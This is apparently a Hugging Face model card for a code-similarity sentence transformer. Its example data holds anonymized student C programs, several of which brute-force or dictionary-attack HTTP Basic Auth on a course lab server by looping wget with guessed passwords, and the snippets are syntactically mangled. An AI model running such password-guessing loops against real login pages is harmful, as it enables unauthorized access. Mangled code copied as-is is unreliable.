\ 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ |
|
\ strcpy(string1, \"wget --http-user= --http-passwd=\");\n strcpy(string2,\ |
|
\ \" http://sec-crack.cs.rmit.edu./SEC/2/\");\n \n for (i=0;i<=52;i++)\n\ |
|
\ { \n [0] = arr[i];\n [1] ='\\0'; \n strcpy(a,);\n \n printf(\"\ |
|
The first value is %s \\n\", a); \t\n\n for (j=0;j<=52;j++)\n {\ |
|
\ [0] = arr[j];\n [1] = '\\0'; \n\t strcpy(temp1,a);\n\t strcat(a,);\n\ |
|
\t strcpy(b,a);\n\t strcpy(a,temp1);\n\t printf(\"The second value is %s\ |
|
\ \\n\", b); \t \n\tfor(k=0;k<=52;k++)\n\t { \n\t [0] =arr[k];\n\ |
|
\t [1] = '\\0';\n\t strcpy(temp1,b);\n\t strcat(b,);\n\t strcpy(pass,b);\n\ |
|
\t strcpy(b,temp1);\n\t pass[0] = arr[i];\n pass[1]= arr[j];\n\ |
|
\ pass[2]= arr[k];\n pass[3] = '\\0';\n\t\tprintf(\" the \ |
|
\ third value of the %s \\n\" ,pass); \n \n\n\t\tprintf(\"\ |
|
%s\\n\",pass);\n\t printf(\"*********\\n\" );\n strcat(string1, pass);\n\ |
|
\ strcat(string1, string2);\n\t printf(\"\\n executing %s\\n\", string1);\n\ |
|
\ sysoutput = system(string1);\n if (sysoutput == 0)\n \ |
|
\ {\n printf(\"\\nsuccess %d %s\\n\",sysoutput,pass);\n \ |
|
\ exit(1);\n }\n\n\n\t strcpy(string1, \"\");\n\t strcpy(string1,\ |
|
\ \"wget --http-user= --http-passwd=\");\n \n\t }\n \t} \n\ |
|
\ }\n } \n \n \n \n \n \n \n \n" |
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\ |
|
#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime,\ |
|
\ stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n\ |
|
\ char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\ |
|
\ for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\ |
|
\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t\ |
|
\ [2] = arr[k];\n\t [3] = '\\0';\n\n\n\t printf(\"Checking for the\ |
|
\ word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\ |
|
\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \"\ |
|
);\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\ |
|
\t if (pass == 0)\n\t { \n printf(\"Success\\n\");\n\t\ |
|
\tprintf(\"Number of attempts = %d\\n\",count);\n\t stopTime = time();\n\ |
|
\n final = stopTime-startTime;\n\t\tprintf(\"The password for the\ |
|
\ user : %s\\n\",); \n printf(\" Cracked the password in %lld\ |
|
\ nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t \ |
|
\ \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n" |
|
- source_sentence: "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n\ |
|
#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n\ |
|
\ FILE *fp;\n \n while(1)\n { \n system(\"wget -p http://www.cs.rmit.edu./students\"\ |
|
);\n\n\n\n system(\"mkdir data\"); \n if((fp=fopen(\"./data/index.html\"\ |
|
,\"r\"))==NULL)\n { \n system(\"cp www.cs.rmit.edu./students/index.html\ |
|
\ ./data\");\n\t \n }\n else\n { \n \n\t \n\t\ |
|
\ system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail\ |
|
\ @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\"\ |
|
);\n } \n\n\n\n system(\"mkdir images\"); \n if((fp=fopen(\"\ |
|
./images/file.txt\",\"r\"))==NULL)\n { \n system(\"md5sum www.cs.rmit.edu./images/*.*\ |
|
\ > ./images/file.txt\");\n\t\t \n }\n \n else\n { \ |
|
\ \n system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\"\ |
|
);\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt\ |
|
\ | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\"\ |
|
);\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n\ |
|
\ \n\t \n\t \t\n" |
|
sentences: |
|
- "\n\n\n#define _REENTRANT\n#include <sys/time.h>\n#include <sys/types.h>\n#include\ |
|
\ <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n#include <stdarg.h>\n#include\ |
|
\ <unistd.h>\n#include <errno.h>\n#include <ctype.h>\n#include <pthread.h>\n#include\ |
|
\ <signal.h>\n\n\n#define MAX_THREADS 1000\n#define MAX_COMBO \n#define false\ |
|
\ 0\n#define true 1\n\n\nstatic char *alphabet=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\ |
|
;\nstatic char **combination=NULL;\nstatic char host[128];\n\n\npthread_mutex_t\ |
|
\ counter_lock = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;\n\ |
|
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;\npthread_cond_t thread_ready\ |
|
\ = PTHREAD_COND_INITIALIZER;\n\n\nstatic int attempt_count=0;\nstatic int combo_entries=0;\n\ |
|
\nstatic struct timeval ;\nstatic struct timeval stop;\nstatic int thread_ready_indicator=false;\n\ |
|
static int thread_start_indicator=false;\nstatic int thread_count=0;\n\n\ntypedef\ |
|
\ struct range\n{\n int ;\n int ;\n}range;\n\n\nvoid *client(void *arg)\n{\n\ |
|
\ \n int i=0, status=1;\n range *= (struct range*)arg;\n\n \n char local_buffer[128];\n\ |
|
\n pthread_mutex_lock(&thread_lock);\n thread_ready_indicator=true;\n\n \n\ |
|
\ pthread_cond_signal(&thread_ready);\n\n \n while(thread_start_indicator==false)\ |
|
\ pthread_cond_wait(&start_hacking, &thread_lock);\n fflush(stdout);\n pthread_mutex_unlock(&thread_lock);\n\ |
|
\n \n for(i=->; i<=-> && i<combo_entries; i++)\n {\n \n sprintf(local_buffer,\n\ |
|
\ \"wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s\"\ |
|
,\n \"\", combination[i], host);\n\n \n status=system(local_buffer);\n\ |
|
\ \n\n \n if(status==0)\n {\n printf(\"\\n\\nusername: \\npassword:\ |
|
\ %s\\n\\n\", combination[i]);\n fflush(stdout);\n\n \n pthread_mutex_lock(&counter_lock);\n\ |
|
\n attempt_count++;\n gettimeofday(&stop, NULL);\n\n printf(\"\ |
|
About %d attempts were , which took %ld.%ld seconds complete.\\n\",\n \ |
|
\ attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));\n fflush(stdout);\n\ |
|
\n pthread_mutex_unlock(&counter_lock);\n\n \n exit(EXIT_SUCCESS);\n\ |
|
\ }\n else\n {\n \n pthread_mutex_lock(&counter_lock);\n \ |
|
\ attempt_count++;\n pthread_mutex_unlock(&counter_lock);\n }\n \ |
|
\ }\n pthread_exit(NULL);\n}\n\n\nchar *getNextCombination()\n{\n \n static\ |
|
\ int i=0;\n static int j=0;\n static int k=0;\n\n static int mode=1;\n char\ |
|
\ *word;\n\n\n \n\n if(i>51)\n {\n mode++; i=0; j=0; k=0;\n }\n\n \n \ |
|
\ if(mode==1)\n {\n char *word = calloc(mode, 1);\n word[0]=alphabet[i++];\n\ |
|
\ word[1]='\\0';\n return word;\n }\n\n \n if(mode==2)\n {\n if(j>51)\n\ |
|
\ {\n i++; j=0;\n }\n\n if(i>51)\n {\n mode++;\n i=0;\ |
|
\ j=0; j=0;\n }\n else\n {\n char *word = calloc(mode, 1);\n \ |
|
\ word[0]=alphabet[i];\n word[1]=alphabet[j++];\n word[2]='\\0';\n\ |
|
\ return word;\n }\n }\n\n \n if(mode==3)\n {\n if(k>51)\n {\n\ |
|
\ j++; k=0;\n }\n\n if(j>51)\n {\n i++; j=0;\n }\n\n \ |
|
\ if(i>51)\n {\n mode++;\n i=0; j=0; j=0;\n }\n else\n\ |
|
\ {\n char *word = calloc(mode, 1);\n word[0]=alphabet[i];\n \ |
|
\ word[1]=alphabet[j];\n word[2]=alphabet[k++];\n word[3]='\\\ |
|
0';\n return word;\n }\n }\n return NULL;\n}\n\n\nint main(int argc,\ |
|
\ char **argv)\n{\n \n int wait_status=0, i=0, j=0, num_threads=0;\n int partition=0,\ |
|
\ prev_min=0, prev_max=0;\n int len=0;\n char *word; range *;\n pthread_t tid[MAX_THREADS];\n\ |
|
\ int non_alpha_detected=0;\n\n \n if(argc<3)\n {\n puts(\"Incorrect usage!\"\ |
|
);\n puts(\"./brute num_threads url\");\n exit(EXIT_FAILURE);\n }\n\n \ |
|
\ \n strcpy(host, argv[2]);\n\n \n num_threads=atoi(argv[1]);\n\n \n combination\ |
|
\ = (char **)calloc(MAX_COMBO, sizeof(char *));\n\n printf(\"Process ID for the\ |
|
\ thread is: %d\\n\", getpid());\n printf(\"Creating brute-force dictionary\ |
|
\ ... \");\n \n \n while( (word=getNextCombination())!= NULL && i<MAX_COMBO)\n\ |
|
\ {\n combination[i]=calloc(strlen(word)+1, sizeof(char));\n strcpy(combination[i++],\ |
|
\ word);\n combo_entries++;\n }\n puts(\"\");\n j=0;\n\n \n partition=combo_entries/num_threads;\n\ |
|
\n \n if(partition==0)\n {\n puts(\"Reducing the number of threads match\ |
|
\ the number of words.\");\n num_threads=combo_entries;\n partition=1;\n\ |
|
\ }\n\n \n prev_min=0;\n prev_max=partition;\n i=0;\n\n memset(&, 0, sizeof(struct\ |
|
\ timeval));\n memset(&stop, 0, sizeof(struct timeval));\n\n \n while(i<num_threads\ |
|
\ && i<MAX_THREADS)\n {\n \n =malloc(sizeof(struct range));\n ->=prev_min;\n\ |
|
\ ->=prev_max;\n\n \n pthread_mutex_lock(&thread_lock);\n thread_ready_indicator=false;\n\ |
|
\ pthread_mutex_unlock(&thread_lock);\n\n \n if(pthread_create(&tid[i++],\ |
|
\ NULL, client, (void *))!=0) puts(\"Bad thread ...\");\n\n \n pthread_mutex_lock(&thread_lock);\n\ |
|
\ while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);\n\ |
|
\ pthread_mutex_unlock(&thread_lock);\n\n \n prev_min+=partition+1;\n\ |
|
\n \n if(i==num_threads)\n {\n prev_max=combo_entries;\n }\n\ |
|
\ else\n {\n prev_max+=partition+1;\n }\n }\n\n \n gettimeofday(&,\ |
|
\ NULL);\n\n \n pthread_mutex_lock(&thread_lock);\n thread_start_indicator=true;\n\ |
|
\ pthread_mutex_unlock(&thread_lock);\n\n \n pthread_cond_broadcast(&start_hacking);\n\ |
|
\n \n printf(\"Created %d threads process %d passwords\\n\", num_threads, combo_entries);\n\ |
|
\ printf(\"Attacking host: %s\\n\", host);\n fflush(stdout);\n\n \n for(i=0;\ |
|
\ i<num_threads && i<MAX_THREADS; i++) pthread_join(tid[i], NULL);\n\n gettimeofday(&stop,\ |
|
\ NULL);\n\n \n puts(\"Could not determine the password for this site.\");\n\ |
|
\ printf(\"About %d attempts were , which took %ld.%ld seconds complete.\\n\"\ |
|
,\n attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));\n fflush(stdout);\n\ |
|
\n \n for(i=0; i<combo_entries; i++) (combination[i]);\n (*combination);\n\n\ |
|
\ return EXIT_SUCCESS;\n}\n\n" |
|
- "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n\ |
|
#include<sys/time.h>\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\ |
|
\tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\"); \n\ |
|
\twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"\ |
|
rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\t\ |
|
system(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\ |
|
\t\t{\t\t\n\t\t\t printf(\"\\n\\n The has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail\ |
|
\ @cs.rmit.edu. <thed\"); \n\t\t\tsystem(\"cp new first\");\n\t\t\tfclose(f);\n\ |
|
\t\t}\n\t\telse\n\t\t{\n\t\tfclose(f);\n\t\tprintf(\"\\n\\nthe has not changed\ |
|
\ \");\n\t\t}\n\t}\n\n}\n\n\t\n\t\n\t\n\t\t\n\n\n" |
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n\ |
|
#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n\ |
|
\ char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};\n\ |
|
time_t u1,u2;\n\n (void) time(&u1); \n strcpy(temp1,\"wget --http-user= --http-passwd=\"\ |
|
);\n strcpy(temp2,\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n \n for(m=0;m<=51;m++)\n\ |
|
\ {\n v[0]=[m]; \n v[1]='\\0';\n v[2]='\\0';\n strcpy(URL,v); \n printf(\"\ |
|
\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n\ |
|
\ strcat(temp3,temp2);\n printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\ |
|
\ \n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password\ |
|
\ is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var taken crack the password is\ |
|
\ %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\ |
|
\tstrcpy(temp3,\"\");\n\t}\n for(n=0;n<=51;n++)\n {\n v[0]=[m]; \n v[1]=[n];\n\ |
|
\ v[2]='\\0';\n strcpy(URL,v); \n printf(\"\\nTesting with password %s\\\ |
|
n\",URL);\n strcat(temp3,temp1);\n strcat(temp3,URL);\n strcat(temp3,temp2);\n\ |
|
\ printf(\"\\nSending the %s\\n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n\ |
|
\ \t{\n\t (void) time(&u2); \n\t printf(\"\\n The password is %s\\n\",URL);\n\ |
|
\t printf(\"\\n\\nThe time_var taken crack the password is %d second\\n\\n\"\ |
|
,(int)(u2-u1));\n \t exit(0);\n \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\ |
|
\t}\n for(o=0;o<=51;o++)\n { \n v[0]=[m]; \n v[1]=[n];\n v[2]=[o];\n\ |
|
\ strcpy(URL,v); \n printf(\"\\nTesting with password %s\\n\",URL);\n strcat(temp3,temp1);\n\ |
|
\ strcat(temp3,URL);\n strcat(temp3,temp2);\n printf(\"\\nSending the %s\\\ |
|
n\",temp3);\n i=system(temp3);\n \t\n\tif(i==0)\n \t{\n\t (void) time(&u2);\ |
|
\ \n\t printf(\"\\n The password is %s\\n\",URL);\n\t printf(\"\\n\\nThe time_var\ |
|
\ taken crack the password is %d second\\n\\n\",(int)(u2-u1));\n \t exit(0);\n\ |
|
\ \t} \n\telse\n\t{\n\tstrcpy(temp3,\"\");\n\t}\n \n \n }\n }\n } \n\ |
|
\ \n} \n" |
|
- source_sentence: "\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n\ |
|
#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint ()\ |
|
\ {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n\ |
|
\ int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen(\"\ |
|
/usr/share/lib/dict/words\",\"r\")))!= NULL) {\n \n while(1) {\n \ |
|
\ fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]=='\\\ |
|
n') {\n pass[3]='\\0';\n\t send[0]='\\0';\n\t strcpy(send,\"\ |
|
wget --http-user= --http-passwd=\");\n \t strcat(send,pass);\n\t strcat(send,\"\ |
|
\ http://sec-crack.cs.rmit.edu./SEC/2/\");\n\t count++;\n\t if((res=(system(send))\ |
|
\ == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n \ |
|
\ final = stopTime-startTime;\n\t printf(\"\\n THE PASSWORD IS = %s &\ |
|
\ TIME TAKEN =%lf seconds & OF COMPARISIONs = %d\\n\",pass,(double)final/OneBillion,count);\n\ |
|
\t exit(1);\n\t }\n }\n }\n }\n printf(\"\\nFILE CANNOT\ |
|
\ OPENED\\n\");\n}\n" |
|
sentences: |
|
- "\n\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include\ |
|
\ <unistd.h>\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\ |
|
\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\ |
|
\n#define DICT_FILE \"/usr/share/lib/dict/words\"\n#define TRUE 1\n#define FALSE\ |
|
\ 0\n\ntypedef int (*CrackFuncPtr)(const char*, const char*);\n\ntypedef struct\ |
|
\ node* NodePtr;\n\ntypedef struct node\n{\n\tchar str[50];\n\tNodePtr next;\t\ |
|
\n} Node;\n\ntypedef struct list* ListPtr;\n\ntypedef struct list\n{\n\tNodePtr\ |
|
\ head;\n\tint ctr;\n} List;\n\nNodePtr makeNode(const char *str);\nvoid printList(const\ |
|
\ ListPtr l);\nvoid loadFile(const char fname[], ListPtr l);\nvoid add(ListPtr\ |
|
\ l, const char *str);\nint crackHTTPAuth(const char *username, const char *passwd);\n\ |
|
void runDictCrack(const ListPtr l, CrackFuncPtr func);\nvoid freeWList(ListPtr\ |
|
\ wL);\nint isValidPasswd(const char *str);\n\nint ()\n{\n\tList wordList;\n\n\ |
|
\twordList.head = NULL;\n\twordList.ctr = 0;\n\n\tloadFile(DICT_FILE, &wordList);\n\ |
|
\n\trunDictCrack(&wordList, crackHTTPAuth);\n\n\tfreeWList(&wordList);\n\treturn\ |
|
\ 0;\n\t\n}\n\n\n\nNodePtr makeNode(const char *str)\n{\n\tNodePtr newNode = malloc(sizeof(Node));\n\ |
|
\t\n\tif (newNode)\n\t{\n\t\tstrncpy(newNode->str, str, strlen(str)+1);\n\t\t\ |
|
newNode->next = NULL;\t\n\t\treturn newNode;\n\t}\n\telse\n\t{\n\t\tfprintf(stderr,\ |
|
\ \"\\nError: Unable allocate %d btyes memory\\n\", sizeof(Node));\n\t\treturn\ |
|
\ NULL;\n\t}\n\n}\n\n\n\nvoid add(ListPtr l, const char *str)\n{\n\tNodePtr *iter;\n\ |
|
\tNodePtr n ;\n\tn = makeNode(str);\n\n\tif (n == NULL)\n\t{\n\t\texit(1);\n\t\ |
|
}\n\n\titer = &(l->head);\n\n\tif (l->head == NULL)\n\t{\n\t\tl->head = n;\n\t\ |
|
}\n\telse\n\t{\n\t\twhile (*iter != NULL)\n\t\t{\n\t\t\titer = &((*iter)->next);\n\ |
|
\t\t}\n\n\t}\n\n\tl->ctr = l->ctr+1;\n\n\t*iter = n;\n\t(l->ctr)++;\n\t\n}\n\n\ |
|
\n\nvoid printList(const ListPtr l)\n{\n\tNodePtr iter = l->head;\n\n\twhile (iter\ |
|
\ != NULL)\n\t{\n\t\tprintf(\"\\n%s\", iter->str);\n\t\titer = iter->next;\n\t\ |
|
}\n}\n\n\n\n\nvoid loadFile(const char fname[], ListPtr l)\n{\n\tFILE *fp;\n\t\ |
|
char str[50];\n\tNodePtr p;\n\tint i=0;\n\t\n\tfp = fopen(fname, \"r\");\n\n\t\ |
|
if (fp)\n\t{\n\t\tprintf(\"\\nLoading dictionary file...\\n\");\n\t\twhile(fgets(str,\ |
|
\ 50, fp) != NULL)\n\t\t{\n\t\t\tif (str[strlen(str)-1] == '\\n')\n\t\t\t{\n\t\ |
|
\t\t\tstr[strlen(str)-1] = '\\0';\n\t\t\t}\n\n\t\t\tif (isValidPasswd(str))\n\t\ |
|
\t\t{\n\t\t\t\tadd(l, str);\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tprintf(\"total\ |
|
\ %d\\n\", i);\n\t}\n\telse\n\t{\n\t\tfprintf(stderr, \"\\nError: Cannot dictionary\ |
|
\ file\\n\");\n\t\texit(1);\n\t}\n\n\tfclose(fp);\n}\n\n\n\nint crackHTTPAuth(const\ |
|
\ char *username, const char *passwd)\n{\n\tchar cmd[3000] = \"\";\n\tstruct stat\ |
|
\ fileInfo;\n\tint success = FALSE;\n\t\t\t\t\t\n\tsprintf(cmd, \"wget -O dictTemp\ |
|
\ -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\tusername, passwd,\ |
|
\ URL);\n\n\tsystem(cmd);\t\n\t\n\t(void)stat(\"dictTemp\", &fileInfo); \n\t\n\ |
|
\treturn fileInfo.st_size;\n\t\t\t\t\t\t\t\t\t\n}\n\n\n\nvoid runDictCrack(const\ |
|
\ ListPtr l, CrackFuncPtr func)\n{\n\tNodePtr iter;\n\n\titer = l->head;\n\n\t\ |
|
while (iter != NULL)\n\t{\n\t\tif(func(USERNAME, iter->str))\n\t\t{\n\t\t\tprintf(\"\ |
|
\\nPassword found: %s\", iter->str);\n\t\t\tbreak;\n\t\t}\n\t\telse\n\t\t{\n\t\ |
|
\t\titer = iter->next;\n\t\t}\n\t\t\n\t}\n}\n\n\n\nvoid freeWList(ListPtr wL)\n\ |
|
{\n\tNodePtr iter, next;\n\n\titer = wL->head;\n\n\tnext = iter->next;\n\n\twhile\ |
|
\ (iter != NULL)\n\t{\n\t\tnext = iter->next;\t\t\n\t\t(iter);\n\t\titer = NULL;\n\ |
|
\t\titer = next;\n\t}\n}\n\n\n\nint isValidPasswd(const char *str)\n{\n\tint len\ |
|
\ = strlen(str);\n\tint i;\n\t\n\tif (len <= MAX_PASSWD_LEN)\n\t{\n\t\tfor\t(i=0;\ |
|
\ i<len; i++)\n\t\t{\n\t\t\tif (!isalpha(str[i]))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\ |
|
\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}\n" |
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include<strings.h>\n#include<ctype.h>\n\ |
|
#include <sys/time.h>\n#define OneBillion 1e9\n\n\nint ()\n{ int startTime,\ |
|
\ stopTime, final;\n int i,j,k;\n int pass,count=0;\n char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};\n\ |
|
\ char [4];\n char url1[100];\n char url2[100];\n\n startTime = time();\n\ |
|
\ for (i=0;i<=52;i++)\n {\n\n for (j=0;j<=52;j++)\n {\n\n\tfor(k=0;k<=52;k++)\n\ |
|
\n\t { \n\t count++;\n [0] = arr[i];\n\t [1] = arr[j];\n\t\ |
|
\ [2] = arr[k];\n\t [3] = '\\0';\n\n\n\t printf(\"Checking for the\ |
|
\ word :%s\\n\",);\n\t strcpy(url1 ,\"wget --http-user= --http-passwd=\");\n\ |
|
\t strcpy(url2 , \" -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ \"\ |
|
);\n\t strcat(url1,);\n\t strcat(url1,url2);\n\n\n\t pass = system(url1);\n\ |
|
\t if (pass == 0)\n\t { \n printf(\"Success\\n\");\n\t\ |
|
\tprintf(\"Number of attempts = %d\\n\",count);\n\t stopTime = time();\n\ |
|
\n final = stopTime-startTime;\n\t\tprintf(\"The password for the\ |
|
\ user : %s\\n\",); \n printf(\" Cracked the password in %lld\ |
|
\ nanoseconds (%1f seconds) \\n\",final,(double)final/OneBillion);\n\t \ |
|
\ \n\t\texit(1);}\n\n\n\t }\n }\n\n }\n }\n\n\n" |
|
- "\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\ |
|
#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\n\ |
|
char b[53]=\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n\nint i,j,k,count=0;\n\ |
|
int total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n\ |
|
{\n\t\n\tm[0]=b[i];\n\tm[1]='\\0';\n\tstrcpy(c,m);\n\tprintf(\"%s \\n\",c);\n\t\ |
|
for(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]='\\0';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\ |
|
\tprintf(\"%s \\n\",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf(\"\ |
|
ATTEMPT :%d\\n\",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]='\\0';\n\t\tstrcpy(c2,c1);\n\ |
|
\t\tstrcat(c2,m);\n\nstrcpy(a,\"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php\ |
|
\ --http-user= --http-passwd=\");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\ |
|
\t\t{\n\t\tprintf(\"Congratulations!!!!BruteForce Attack Successful\\n\");\n\t\ |
|
\tprintf(\"***********************************************\\n\");\n\t\tprintf(\"\ |
|
The Password is %s\\n\",c2);\n\t\tprintf(\"The Request sent is %s\\n\",a); \n\ |
|
\ end_time = time();\n total_time = (end_time -start_time);\n\ |
|
\ total_time /= 1000000000.0;\n printf(\"The Time\ |
|
\ Taken is : %llds\\n\",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\ |
|
\t\n\t}\n\n}\n}\nreturn 0;\n}\n" |
|
pipeline_tag: sentence-similarity |
|
library_name: sentence-transformers |
|
--- |
|
|
|
# SentenceTransformer based on uclanlp/plbart-java-cs |
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [uclanlp/plbart-java-cs](https://huggingface.co/uclanlp/plbart-java-cs). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
## Model Details |
|
|
|
### Model Description |
|
- **Model Type:** Sentence Transformer |
|
- **Base model:** [uclanlp/plbart-java-cs](https://huggingface.co/uclanlp/plbart-java-cs) <!-- at revision 0426c742606ceb3c2e12de0ae9c46a969bba6023 --> |
|
- **Maximum Sequence Length:** 512 tokens |
|
- **Output Dimensionality:** 768 dimensions |
|
- **Similarity Function:** Cosine Similarity |
|
<!-- - **Training Dataset:** Unknown --> |
|
<!-- - **Language:** Unknown --> |
|
<!-- - **License:** Unknown --> |
|
|
|
### Model Sources |
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
### Full Model Architecture |
|
|
|
``` |
|
SentenceTransformer( |
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'PLBartModel'}) |
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
) |
|
``` |
|
|
|
## Usage |
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
First install the Sentence Transformers library: |
|
|
|
```bash |
|
pip install -U sentence-transformers |
|
``` |
|
|
|
Then you can load this model and run inference. |
|
```python |
|
from sentence_transformers import SentenceTransformer |
|
|
|
# Download from the 🤗 Hub |
|
model = SentenceTransformer("buelfhood/SOCO-C-PLBART-ST") |
|
# Run inference |
|
sentences = [ |
|
'\n#include <stdio.h>\n#include <stdlib.h>\n#include <ctype.h>\n#include <strings.h>\n#include <sys/times.h>\n#define OneBillion 1e9\n\nint () {\n FILE *fptr;\n char pass[257];\n char send[100],path[50];\n int res,count=0;\n int startTime, stopTime, final;\n startTime = time();\n while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {\n \n while(1) {\n fgets(pass,256,fptr);\n if(pass == NULL) exit(1);\n if(pass[3]==\'\\n\') {\n pass[3]=\'\\0\';\n\t send[0]=\'\\0\';\n\t strcpy(send,"wget --http-user= --http-passwd=");\n \t strcat(send,pass);\n\t strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");\n\t count++;\n\t if((res=(system(send)) == 0)) {\n\t fclose(fptr);\n\t stopTime = time();\n final = stopTime-startTime;\n\t printf("\\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds & OF 